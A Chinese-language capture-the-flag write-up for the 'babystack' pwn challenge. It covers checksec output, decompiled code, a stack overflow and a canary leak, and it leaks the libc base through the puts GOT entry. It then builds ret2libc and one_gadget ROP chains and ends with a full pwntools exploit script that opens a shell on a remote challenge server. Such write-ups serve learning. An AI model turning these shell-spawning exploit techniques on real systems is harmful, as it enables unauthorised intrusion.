题目描述:
这个题目针对现在的我还是有点难度的,花费了我三天的时间,最后发现原因竟是因为字符转化为整型的过程中多加了好多0.
分析思路:
1、首先查看文件的详细信息:
tucker@ubuntu:~/xman/pwn/pwn1$ file babystack
babystack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=d1d54a6fc21f6c1d9a92f4f3bfafadd44683afd4, stripped
tucker@ubuntu:~/xman/pwn/pwn1$ checksec babystack
[*] '/home/tucker/xman/pwn/pwn1/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
是一个64bit的二进制文件,没有开启PIE,但是开启了canary保护,因此我们首先想到的就是绕过canary保护。
2、使用IDA打开:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&s, 0, 0x80uLL);
while ( 1 )
{
puts_info();
v3 = j_read();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 0x100uLL);
break;
default:
j_puts("invalid choice");
break;
}
j_puts((const char *)&unk_400AE7);
}
}
从中我们很容易看到并且在puts(&s)中我们也可以控制s的值,从而打印出我们需要的信息。在前面的memset中仅仅初始化了0x80个字节,但在read(0, &s, 0x100uL)读取了0x100个字节,因此存在栈溢出漏洞。
3、我们需要注意,程序为了防止canary泄露,canary的第一个字节为\x00,因此我们首先我们构造payload,使其填充s的空间,打印出canary的值。
def get_canary(payload):
sh.recvuntil('>> ')
sh.sendline('1')
sh.sendline(payload)
sh.recvuntil('>> ')
sh.sendline('2')
info = sh.recv()
# print info[0x88]
# print hex(u64('\x00' + info[0x89:0x90]))
canary = u64('\x00' + info[0x89:0x90])
return canary
payload = 'a' * 0x88
canary = get_canary(payload)
print('canary:' + str(hex(canary)))
4、得到canary之后,我们就可以控制程序的返回地址了,但是因为.so动态链接库在运行的过程中是动态连接的,因此首先我们需要得到libc文件的基地址,我们可以构造payload,利用puts函数打印出puts在got表中的地址,然后减去puts在libc中的偏移量,就能得到libc加载的基地址:
def get_puts_addr(payload):
sh.recvuntil('>> ')
sh.sendline('1')
sh.sendline(payload)
sh.recvuntil('>> ')
sh.sendline('3')
info = sh.recv().ljust(8, '\x00')
return u64(info)
# canary the first byte is \x00, print will be interrupt
payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
puts_addr = get_puts_addr(payload)
print('puts_addr:' + str(hex(puts_addr)))
libc_base = puts_addr - puts_offset
5、然后我们就需要gadgets了,在这里我们有很多办法。
第一种,我们可以使用:ropsearch
gdb-peda$ ropsearch "pop rdi" 0x400000 0x401000
Searching for ROP gadget: 'pop rdi' in range: 0x400000 - 0x401000
0x00400a93 : (b'5fc3') pop rdi; ret
gdb-peda$ ropsearch "pop rsi" 0x400000 0x401000
Searching for ROP gadget: 'pop rsi' in range: 0x400000 - 0x401000
0x00400a91 : (b'5e415fc3') pop rsi; pop r15; ret
gdb-peda$ ropsearch "pop rdi" 0x400000 0x401000
Searching for ROP gadget: 'pop rdi' in range: 0x400000 - 0x401000
0x00400a93 : (b'5fc3') pop rdi; ret
gdb-peda$
由此我们就可以构造处我们的payload。另外还需要注意在64bit中函数的参数传递方式:
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
至此,我们可以写出payload:
def get_bash(payload):
sh.recvuntil('>> ')
sh.sendline('1')
sh.sendline(payload)
sh.recvuntil('>> ')
sh.sendline('3')
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
exit_addr = libc_base + exit_offset
payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(exit_addr)
get_bash(payload)
第二种,我们可以简单点,使用ropper one_gadget
tucker@ubuntu:~/xman/pwn/pwn1$ one_gadget ./libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
这里我们使用第一个gadget:
one_gadgets = 0x45216 + libc_base
log.success('one_gadgets:' + hex(one_gadgets))
# payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(exit_addr)
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(one_gadgets)
get_bash(payload)
综上所述,完整的漏洞利用代码为:
# babystack.py
from pwn import *
context.log_level = 'debug'
a = ELF('./babystack')
sh = remote('111.198.29.45', '59252')
elf = ELF('./libc-2.23.so')
pop_rdi_ret = ROP(elf).rdi[0]
write_offset = elf.symbols['write']
system_offset = elf.symbols['system']
binsh_offset = elf.search('/bin/sh').next()
exit_offset = elf.symbols['exit']
puts_offset = elf.symbols['puts']
write_plt = a.plt['write']
# write_plt = 0x004006A0
write_got = a.got['write']
puts_plt = a.plt['puts']
puts_got = a.got['puts']
main_addr = 0x0400908
pop_rdi_ret_addr = 0x00400a93
pop_rsi_r15_ret = 0x00400a91
pop_rdi_ret = 0x00400a93
def get_canary(payload):
sh.recvuntil('>> ')
sh.sendline('1')
sh.sendline(payload)
sh.recvuntil('>> ')
sh.sendline('2')
info = sh.recv()
# print info[0x88]
# print hex(u64('\x00' + info[0x89:0x90]))
canary = u64('\x00' + info[0x89:0x90])
return canary
def get_puts_addr(payload):
sh.recvuntil('>> ')
sh.sendline('1')
sh.sendline(payload)
sh.recvuntil('>> ')
sh.sendline('3')
info = sh.recv().ljust(8, '\x00')
return u64(info)
def get_bash(payload):
sh.recvuntil('>> ')
sh.sendline('1')
sh.sendline(payload)
sh.recvuntil('>> ')
sh.sendline('3')
payload = 'a' * 0x88
canary = get_canary(payload)
print('canary:' + str(hex(canary)))
# canary the first byte is \x00, print will be interrupt
payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
puts_addr = get_puts_addr(payload)
print('puts_addr:' + str(hex(puts_addr)))
libc_base = puts_addr - puts_offset
# libc_base = write_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
exit_addr = libc_base + exit_offset
print('write_offset:' + str(hex(write_offset)))
print('libc_base: ' + str(hex(libc_base)))
log.success('libc_base:' + hex(libc_base))
one_gadgets = 0x45216 + libc_base
log.success('one_gadgets:' + hex(one_gadgets))
# payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(exit_addr)
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(one_gadgets)
get_bash(payload)
sh.interactive()
总结:
从这个题目中我学到了很多,主要有:
ropsearch "pop rdi" 0x400000 0x401000 用来在给定的地址空间中搜索gadget
one_gadget ./libc.*.so 用来搜索现成的gadget
u64中的参数的长度必须为8, 不够的话前面可以加’\x00‘,u64('\x00', + info[0x89:0x90])
u32中的参数的长度必须为4,
64bit ELF的参数传递方式 参数少于7个时,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
canary的第一个字节为'\x00',为了防止泄露
最后,一定要注意Python中的关于 string,bytes,hex string, int, 之间的转换问题
要使用 struct.pack 和 struct.unpack